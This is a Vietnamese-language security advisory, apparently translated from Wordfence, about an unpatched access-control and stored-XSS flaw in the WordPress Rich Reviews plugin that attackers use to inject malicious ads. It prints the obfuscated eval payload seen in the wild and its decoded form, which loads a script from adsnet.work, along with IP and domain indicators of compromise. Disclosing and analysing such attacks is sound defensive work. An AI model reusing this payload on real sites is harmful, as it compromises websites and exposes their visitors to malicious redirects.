Phát hiện lỗ hổng trên plugin Rich Reviews sử dụng để tấn công XSS

Kiến thức hosting

Nhóm Wordfence Threat Intelligence đang theo dõi một loạt các cuộc tấn công chống lại lỗ hổng chưa được vá trong plugin Rich Reviews của WordPress. Ước tính 16.000 trang web đang chạy plugin này có thể được sử dụng để phân phối tải trọng tập lệnh chéo trang (XSS) trên hosting.

Những kẻ tấn công hiện đang lạm dụng chuỗi khai thác này để tiêm mã quảng cáo độc hại vào các trang web mục tiêu. Mã quảng cáo độc hại tạo chuyển hướng và quảng cáo bật lên.

 

Các nhà phát triển của plugin nhận thức được lỗ hổng này, nhưng hiện tại không có bản vá nào. Xin vui lòng xem ghi chú của chúng tôi về tiết lộ dưới đây. Chúng tôi khuyên người dùng nên tìm giải pháp thay thế càng sớm càng tốt hoặc xóa plugin Rich Reviews khỏi trang web của bạn.

Phản hồi từ nhà phát triển

Plugin Rich Reviews đã bị xóa khỏi kho lưu trữ WordPress 6 tháng trước. Điều đó có nghĩa là, ngay cả khi các nhà phát triển phát hành bản sửa lỗi, khách hàng sẽ không thể cập nhật cho đến khi plugin được khôi phục trong kho lưu trữ. Chúng tôi đã thấy bài đăng diễn đàn này 5 ngày trước mô tả một trang web khác bị nhiễm thông qua lỗ hổng này. Vào thời điểm đó, các nhà phát triển đã trả lời như sau:

Hiện tại chúng tôi đã làm việc để viết lại toàn bộ plugin này, nhưng có ai đó dường như muốn chúng tôi làm việc nhanh hơn với nó và quyết định khai thác plugin của chúng tôi để lấy một số phần mềm độc hại ra khỏi đó. Bây giờ chúng tôi sẽ nhanh chóng thực hiện hai lần và hy vọng sẽ sao lưu trong vòng hai tuần tới. 

Sự dễ bị tổn thương trong nháy mắt

Hai vấn đề cốt lõi trong plugin Rich Reviews là thiếu kiểm soát truy cập để sửa đổi các tùy chọn của plugin và thiếu vệ sinh sau đó đối với các giá trị của các tùy chọn đó.

Để thực hiện cập nhật tùy chọn, plugin kiểm tra sự hiện diện của tham số cơ thể POST  update. Nếu có giá trị mong đợi, plugin sẽ lặp qua các tùy chọn khác thông qua POST và cập nhật giá trị của chúng khi cần. Thật không may, kiểm tra này được thực hiện mỗi khi lớp RichReviews của plugin  được khởi tạo bất kể quyền của người dùng hay đường dẫn hiện tại. Điều này có nghĩa là tất cả các yêu cầu đến có khả năng thực hiện những thay đổi này.

Một số giá trị tùy chọn dễ bị tổn thương chịu trách nhiệm tùy chỉnh văn bản được hiển thị bởi plugin. Vệ sinh không đúng cách các giá trị này cho phép kẻ tấn công tiêm tải trọng JavaScript có thể được kích hoạt bởi khách truy cập cũng như quản trị viên đã đăng nhập.

Chiến dịch tấn công

Trong khi thực hiện đánh giá pháp y về một trang web bị nhiễm, một nhà phân tích bảo mật với nhóm làm sạch trang web của chúng tôi đã  xác định hoạt động nhật ký đáng ngờ liên quan đến plugin Rich Reviews.

183.90.250.26 - [redacted] "POST /wp-admin/admin-post.php?page=fp_admin_options_page HTTP/1.0" 200 - "-" "-"

Một lưu ý thú vị liên quan đến mục nhật ký này là bao gồm chuỗi trang admin-post.php của plugin  . Loại yêu cầu này thường thấy trong trường hợp kiểm tra is_admin được sử dụng không đúng cách để kiểm tra quyền của người dùng, chẳng hạn như trong ví dụ này từ đầu năm nay . Tuy nhiên, cách giải quyết đó là không cần thiết trong trường hợp này, trong đó tất cả các yêu cầu đến được kiểm tra để cập nhật tùy chọn bất kể đường dẫn.

Các tải trọng được tiêm bởi những kẻ tấn công này có liên quan trực tiếp đến một chiến dịch quảng cáo độc hại mà chúng tôi đã báo cáo trước đây :

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 110, 101, 116, 46, 119, 111, 114, 107, 47, 115, 99, 114, 105, 112, 116, 115, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

Tải trọng bị che khuất ở trên thực thi đoạn mã sau:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://adsnet.work/scripts/place.js";
document.getElementsByTagName('head')[0].appendChild(script);

Tải trọng XSS này gần giống với tải trọng mà chúng tôi đã xác định trong chiến dịch này trước đây . Kịch bản của bên thứ ba có nguồn gốc place.jstương tự như các kịch bản  khác mà chúng ta đã thấy trong chiến dịch quảng cáo độc hại này, có thể kích hoạt quảng cáo bật lên và chuyển hướng không mong muốn.

Các chỉ số thỏa hiệp (IOC)

Nhóm Tình báo Đe dọa của chúng tôi đưa ra các chỉ số thỏa hiệp khi khả thi để các nhà cung cấp bảo mật khác có thể thêm khả năng phát hiện cho các sản phẩm của họ và bảo vệ khách hàng của họ. Sau đây là các IOC mà chúng tôi đã quan sát thấy liên quan đến chiến dịch tấn công này.

Các địa chỉ IP

Các địa chỉ IP sau được liên kết với hoạt động độc hại chống lại lỗ hổng này:

  • 94.229.170.38
  • 183.90.250.26
  • 69.27.116.3

Tên miền

  • adsnet.work – Lưu trữ các tập lệnh độc hại có nguồn gốc bằng cách tiêm XSS.
    • Các yêu cầu DNS gửi đến tên miền này cho thấy người dùng trên mạng của bạn có thể đã kích hoạt chuyển hướng nguy hiểm tiềm tàng.

Nội dung cơ sở dữ liệu

Nội dung được tiêm sẽ có mặt trong bảng tùy chọn của cơ sở dữ liệu WordPress của bạn, với tên  rr_options.

Phần kết luận

Rich Reviews, một plugin có khoảng 16.000 người dùng, đã bị xóa khỏi kho lưu trữ plugin WordPress vào tháng 3 vì lý do bảo mật. Phiên bản hiện tại của plugin chứa lỗ hổng cập nhật tùy chọn có thể khai thác cao có thể được sử dụng để đưa tải trọng XSS được lưu trữ vào các trang web dễ bị tấn công. Chúng tôi đã xác định một chiến dịch quảng cáo độc hại đã lạm dụng các trang web dễ bị tổn thương để phân phối quảng cáo bật lên và chuyển hướng nguy hiểm tiềm tàng.

Các nhà phát triển của plugin đã thừa nhận sự hiện diện của các vấn đề này , nhưng đã cung cấp ước tính hai tuần để giải quyết các lỗ hổng này. Do thời gian của quá trình vá lỗi này và do thực tế là plugin đã bị xóa khỏi kho lưu trữ plugin WordPress chính thức, người dùng Rich Reviews nên tìm một giải pháp thay thế để đảm bảo an toàn cho trang web của họ.

Vui lòng xem xét chia sẻ bài đăng này để giúp tạo ra nhận thức về vấn đề bảo mật này.

Leave a Reply

Your email address will not be published. Required fields are marked *